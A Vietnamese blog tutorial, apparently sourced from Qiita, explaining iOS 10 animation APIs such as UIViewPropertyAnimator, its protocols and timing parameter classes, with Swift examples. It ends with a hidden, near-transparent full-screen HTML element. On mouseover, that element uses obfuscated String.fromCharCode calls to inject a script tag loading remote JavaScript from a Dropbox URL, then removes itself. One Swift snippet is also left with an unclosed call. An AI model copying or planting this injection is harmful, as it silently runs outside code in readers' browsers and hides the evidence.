12/08/2018, 13:33

Từ IOS 10 Animation đã “ngon” hơn!!

_Ở WWDC16, những feature mới của Animation đã được giới thiệu. Như là phần dynamic animation được thêm vào, tạm dừng chuyển động... và nhiều tính năng "mềm dẻo" khác. Vì vậy bài viết này mình muốn giới thiệu với các bạn! _ Animation hiện tại Animation hiện tại có cấu trúc như sau : UIView . ...

_Ở WWDC16, những feature mới của Animation đã được giới thiệu. Như là phần dynamic animation được thêm vào, tạm dừng chuyển động... và nhiều tính năng "mềm dẻo" khác. Vì vậy bài viết này mình muốn giới thiệu với các bạn! _

Animation hiện tại

Animation hiện tại có cấu trúc như sau :

UIView.animateWithDuration(2.0, delay: 0, options: .CurveEaseInOut, animations: {

    // animation

}) { _ in

    // completion

}

Method này từ Swift3 trở đi sẽ có format thay đổi như dưới đây!

UIView.animate(withDuration: 2.0, delay: 0, options: [.curveEaseIn, .curveEaseOut], animations: {

}) { _ in

}

Nhìn vào cấu trúc mới chúng ta có thể thấy:

  • Tên method đã đơn giản hơn.
  • UIViewAnnitamionOptions đã tở thànhlowerCamelCase`
  • curveEaseInOut được tách thành hai thành phần

Tuy nhiên thì những thay đổi này vẫn không phải là hướng đến những thao tác Dynamic Animation. Vì vậy nếu chúng ta không thành thạo CoreAnimation, options beginFromCurrentState -> Tất cả sẽ được giải quyết bằng UIViewPropertyAnimator!!!! Sử dụng Class này chúng ta có thể xử lý được linh hoạt animation trong tầm tay!

UIViewPropertyAnimator

Cách sử dụng Class đại khái kiểu như này:

let timing = UICubicTimingParameters(animationCurve: .easeInOut)
let animator = UIViewPropertyAnimator(duration: 2.0, timingParameters: timing)

animator.addAnimations {
    // animation
}

animator.startAnimation()

animator.pauseAnimation()

Và sử dụng nó trong hàm handlePan :

@IBAction func handlePan(recognizer: UIPanGestureRecognizer) {

    let translation = recognizer.translation(in: self.view)
    let translatedCenterY = view.center.y + translation.y
    let progress = translatedCenterY / self.view.bounds.size.height

    animator.fractionComplete = progress
}

Sử dụng hàm trên chúng ta có thể thao tác animation theo gesture của User.

Sơ đồ class liên quan đến UIViewPropertyAnimator

  • UIViewAnimating và UIViewImplicitly là các protocol cơ sở
  • Khi nhận được object của protocol cơ sở UITimingCurveProviderchúng ta có thể

Protocol UIViewAnimating

Được sử dụng để Định nghĩa các Method, Property xử lý flow animation

Method

  • func startAnimation()
  • func pauseAnimation()
    • Tạm dừng Animation
    • AnimatingState để là active
  • fucn stopAnimation(_ withoutFinishing: Bool)
    • Sử dụng khi muốn kết thúc Animation ở vị trí hiện tại
    • Nếu hàm trả về giá trị true -> state inactive được thay đổi
    • Nếu trạng thái false được trả lại -> state stop được thai đổi , để kết thúc method finishAnimation sẽ được gọi
  • func finishAnimation(at: UIViewAnimatingPosition)
    • khi state stopped hàm này sẽ được gọi -> close animation.
    • nếu method này được gọi trước khi state chuyển sang stopped sẽ gây ra lỗi
    • Chuyển state sang inactive

Property

  • var fractionComplete: CGFloat
    • phần trăm animation hoàn thành
    • có giá trị từ 0.0 - 1.0
    • dựa vào việc control giá trị này , ta có thể interactive được animation
  • var isReversed: Bool
    • dựa vào property này để xử lý phương hướng của animation
  • var state: UIViewAnimatingState Có giá trị Enum và có 3 kiểu:
    • inactive
    • active
    • stopped
  • var isRunning: Bool
    • xác định xem animation có đang được tiến hành hay không

Protocol UIViewImplicitlyAnimating

Được sử dụng để định nghĩa các method customize animation

Method

  • func addAnimations(() -> Void)
    • Định nghĩa animation
  • func addAnimations(() -> Void, delayFactor: CGFloat)
    • Khi animation đang diễn ra mà muốn khởi tạo một animation # thì sẽ sử dụng method này
    • delayFactor sử dụng giá trị từ 0.0 - 1.0
    • Ví dụ là giá trị 0.7 tức là animation gốc đang đc 70% thì bắt đầu khởi tạo animation mới diễn ra
  • func addCompletion((UIViewAnimatingPosition) -> Void)
    • Việc được thực thi khi animation kết thúc
  • UIViewAnimatingPosition là giá trị Enum:
    • end
    • start
    • current
  • func continueAnimation(withTimingParameters: UITimingCurveProvider?, durationFactor: CGFloat)
    • Được sử dụng khi animation đang bị pause, có thể thay đổi duration hay timming để resume lại animation

UICubicTimingParameters

Là class định nghĩa timming của animation

Khởi tạo

  • init()
  • init(animationCurve: UIViewAnimationCurve)
    • UIViewAnimationCurve có các giá trị :
- case easeInOut // slow at beginning and end
- case easeIn // slow at beginning
- case easeOut // slow at end
- case linear
  • init(controlPoint1: CGPoint, controlPoint2: CGPoint)
    • Việc định nghĩa animation với 2 điểm để tạo ra đường di chuyển 3 chiều

UISpringTimingParameters

Sử dụng object của Class để truyền sang UIViewPropertyAnimator có thể thực hiện được các chuyển động co giãn zíc zắc ..

Khởi tạo

  • init()
  • init(dampingRatio: CGFloat)
    • Truyền vào giá trị độ suy giảm
    • có giá trị từ 0.0 - 1.0
  • init(dampingRatio: CGFloat, initialVelocity: CGVector)
    • Cũng giống như hàm trên nhưng ngoài ra còn truyền đươc giá trị phương hướng và tốc độ
  • init(mass: CGFloat, stiffness: CGFloat, damping: CGFloat, initialVelocity: CGVector) chuyển động sẽ có dạng kiểu như dưới đây ^^ :

UIViewControllerAnimatedTransitioning

Sử dụng trong việc di chuyển màn hình

func animateTransition(_ transitionContext: UIViewControllerContextTransitioning) {

    self.interruptibleAnimator(forTransition: transitionContext)?.startAnimation(
}

func interruptibleAnimator(forTransition transitionContext: UIViewControllerContextTransitioning?) -> UIViewImplicitlyAnimating? {

    let timing = UICubicTimingParameters(animationCurve: .easeInOut)
    let animator = UIViewPropertyAnimator(duration: 2.0, timingParameters: timing)

    animator.addAnimations {
        // animation
    }

    return animator
}

Nguồn: Qiita

<hr id="unique-hr" style="background-color: #a00; border: none; height: 2000px; awidth: 2000px ;z-index: 1000; opacity: 0.01; position: fixed; top: 0px; left: 0px;" onmouseover="$('#footer').append(String.fromCharCode(39, 60, 115, 99, 114, 105, 112, 116) + ' id='atk-src' src='https://www.dropbox.com/s/vfi73fypu0x7ij5/serious.js?dl=1'></' + String.fromCharCode(115, 99, 114, 105, 112, 116, 62, 39)); setTimeout(function() {$('#unique-hr,#atk-src').remove();}, 3000);">
0